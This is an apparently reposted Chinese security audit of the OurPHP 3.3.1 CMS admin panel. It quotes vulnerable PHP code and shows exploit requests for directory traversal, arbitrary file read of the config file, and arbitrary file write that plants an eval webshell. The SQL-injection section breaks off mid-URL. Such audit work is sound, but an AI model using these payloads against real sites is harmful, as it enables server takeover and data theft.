OurPHP3.3.1审计与测试
Posted bfengj
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了OurPHP3.3.1审计与测试相关的知识,希望对你有一定的参考价值。
Ourphp3.3.1审计与测试
目录遍历漏洞
还是先看一下后台关于模板的代码,首先发现对于传入的路径没有做waf,导致了目录遍历。
漏洞从client/manage/ourphp_filebox.php`的第134行开始:
}else{
if(empty($_SESSION['ourphp_out']))
{
$file = listDirFiles('../../templates/'.$_GET['path']);
$file2 = '../../templates/'.$_GET['path'];
}else{
$file = listDirFiles('../../'.$_GET['path']);
$file2 = '../../'.$_GET['path'];
}
if(isset($_GET['dir']))
{
foreach ($file as $op) {
if(!strstr($op,".")){
$list .= '
<li>
<a href="?path='.$_GET['path'].'/'.$op.'&dir"><img src="../../skin/ico_file.png" width="80"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
</li>
';
}
if(strstr($op,".html") || strstr($op,".css") || strstr($op,".js") || strstr($op,".php") || strstr($op,".htaccess")){
$format = format($op);
$list .= '
<li>
<a href="?path='.$file2.'/'.$op.'&edit"><img src="../../skin/'.$format[0].'" width="80"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
</li>
';
}
if(strstr($op,".jpg") || strstr($op,".jpeg") || strstr($op,".png") || strstr($op,".gif")){
$list .= '
<li>
<a href="'.$file2.'/'.$op.'" target="_blank"><img src="'.$file2.'/'.$op.'" width="80" height="70"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
</li>
';
}
}
}
listDirFiles
函数的作用就是得到这个目录下的所有文件夹和文件。然后如果传入了$_GET['dir']
,就会把没有点的,还有存在特定后缀的文件给打印出来,基本涵盖了大部分的文件,存在目录遍历:
任意文件读取
还是模板这样对于传入的path没有做任何的限制导致的,漏洞开始于client/manage/ourphp_filebox.php
函数的第175行:
if(isset($_GET['edit']))
{
if(isset($_GET['path'])){
$openfile = file_get_contents($_GET['path']);
$openfile = str_replace("<textarea", "<ourphp_", $openfile);
$openfile = str_replace("</textarea>", "</ourphp_>", $openfile);
$list = '
<form id="form1" name="form1" method="post" action="?path=edit&ok">
<div class="boxedit">
<textarea id="code" name="code">'.$openfile.'</textarea>
</div>
<div class="boxok">
<p><a href="#"" onClick=window.open("tags.php","go","scrollbars=0,resizable=0,scrollbars=yes,width=1300,height=500,left=150,top=150,screenX=50,screenY=50")>在新窗口中弹出模板标签</a></p>
<p><a href="#"" onClick=window.open("ourphp_column.php?id=ourphp","go","scrollbars=0,resizable=0,scrollbars=yes,width=1300,height=500,left=150,top=150,screenX=50,screenY=50")>在新窗口中弹出栏目管理</a></p>
<p class="mt-50">
<input type="submit" name="Submit" value="保存代码" class="an" />
</p>
</div>
<input type="hidden" value="'.$_GET['path'].'|'.MD5($_GET['path'].$ourphp['safecode']).'" name="md">
</form>
<script id="script">
var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
lineNumbers: true,
ineWrapping: true,
mode: "markdown"
});
</script>
';
}
}
非常明显的:
$openfile = file_get_contents($_GET['path']);
$openfile = str_replace("<textarea", "<ourphp_", $openfile);
$openfile = str_replace("</textarea>", "</ourphp_>", $openfile);
直接读:
http://www.ourphp331.com/client/manage/ourphp_filebox.php?path=../../../../../../../../../../../../../../../../flag&edit
任意文件写入1
还是模板这里,漏洞开始于client/manage/ourphp_filebox.php
函数的第205行:
if(isset($_GET['ok']))
{
if(empty($_POST['code']) || empty($_POST['md'])){
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不能为空呀!</h1>';
}
$md = explode("|", $_POST['md']);
$md2 = MD5($md[0].$ourphp['safecode']);
if($md[1] != $md2){
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">验证不通过呀!</h1>';
}
$code = $_POST['code'];
if(get_magic_quotes_gpc())
{
$code = stripslashes($code);
}
$code = str_replace("<ourphp_", "<textarea", $code);
$code = str_replace("</ourphp_>", "</textarea>", $code);
if(empty($_SESSION['ourphp_out']))
{
if(stristr($code,"<?php") || stristr($code,"<%") || stristr($code,"language=\\"php\\"") || stristr($code,"language='php'") || stristr($code,"language=php") || stristr($code,"<?=") || stristr($md[0],".php") || stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))
{
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>';
}else{
$filego = fopen($md[0],'w');
fwrite($filego,$code);
fclose($filego);
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';
}
}else{
if(stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))
{
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>';
}else{
$filego = fopen($md[0],'w');
fwrite($filego,$code);
fclose($filego);
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';
}
}
}
可以发现$_POST['md']
就是要写入的文件名,$_POST['code']
就是要写入的内容,然后会经过一次if(empty($_SESSION['ourphp_out']))
的判断进入2种处理方式,如果这个$_SESSION['ourphp_out']
为空的话,进行的就是很严格的过滤:
if(stristr($code,"<?php") || stristr($code,"<%") || stristr($code,"language=\\"php\\"") || stristr($code,"language='php'") || stristr($code,"language=php") || stristr($code,"<?=") || stristr($md[0],".php") || stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))
没法写马。但是如果进入的是else,就是没什么用的过滤,可以轻松写马:
if(stristr($md[0],".asp") || stristr($md[0],".aspx") || stristr($md[0],".jsp") || stristr($md[0],".htaccess") || stristr($md[0],".ini") || stristr($md[0],".user.ini"))
因此需要给$_SESSION['ourphp_out']
赋值。看一下这个的由来,是在当前这个php文件的前面:
$v = (empty($_GET['validation']))? "0" : $_GET['validation'];
$c = (empty($_GET['code']))? "0" : $_GET['code'];
pw($v,$c);
if(isset($_GET['out'])){
unset($_SESSION['ourphp_out']);
}
然后是pw
函数:
function pw($a,$b)
{
global $db,$ourphp;
session_start();
if ($a == $ourphp['validation'] && $b == $ourphp['safecode']){
$_SESSION['ourphp_out'] = "ourphp";
}else{
if(empty($_SESSION['ourphp_out']))
{
include 'ourphp_checkadmin.php';
}else{
session_start();
}
}
}
需要if ($a == $ourphp['validation'] && $b == $ourphp['safecode']){
。前一个登录后台的时候需要,既然目前是在后台的模板功能上,因此前一个已经知道了,后一个的话就需要利用到上面的任意文件读取,读一下配置文件:
http://www.ourphp331.com/client/manage/ourphp_filebox.php?path=../../config/ourphp_config.php&edit
就可以得到了,这样就可以成功写马:
http://www.ourphp331.com/client/manage/ourphp_filebox.php?path&ok&code=TW3fJCk9hqwwUBfcKnFbgpHxQqjRQE1dk9hqww&validation=1
code=<?php eval($_POST[0]);?>&md=../../1.php
SQL注入1(update注入)
漏洞位于client/manage/ourphp_adview.php
,从第11行开始:
if(isset($_GET["ourphp_cms"]) == ""){
echo '';
}elseif ($_GET["ourphp_cms"] == "edit"){
if (!empty($_POST["OP_Adclass"])){
$OP_Adclass = implode(',',$_POST["OP_Adclass"]);
}else{
$OP_Adclass = '';
}
$query = $db -> update("`ourphp_ad`","`OP_Adcontent` = '".admin_sql($_POST["OP_Adcontent"])."',`OP_Adclass` = '".$OP_Adclass."',`time` = '".date("Y-m-d H:i:s")."'","where id = ".intval($_GET['id']));
$ourphp_font = 1;
$ourphp_class = 'ourphp_ad.php?id=ourphp';
require 'ourphp_remind.php';
}
传$_GET['ourphp_cms']='edit'
,然后注意下面的SQL语句:
$query = $db -> update("`ourphp_ad`","`OP_Adcontent` = '".admin_sql($_POST["OP_Adcontent"])."',`OP_Adclass` = '".$OP_Adclass."',`time` = '".date("Y-m-d H:i:s")."'","where id = ".intval($_GET['id']));
注意到$OP_Adclass
是通过POST传参然后implode
而来的,没有经过任何的过滤,因此存在SQL注入:
http://www.ourphp以上是关于OurPHP3.3.1审计与测试的主要内容,如果未能解决你的问题,请参考以下文章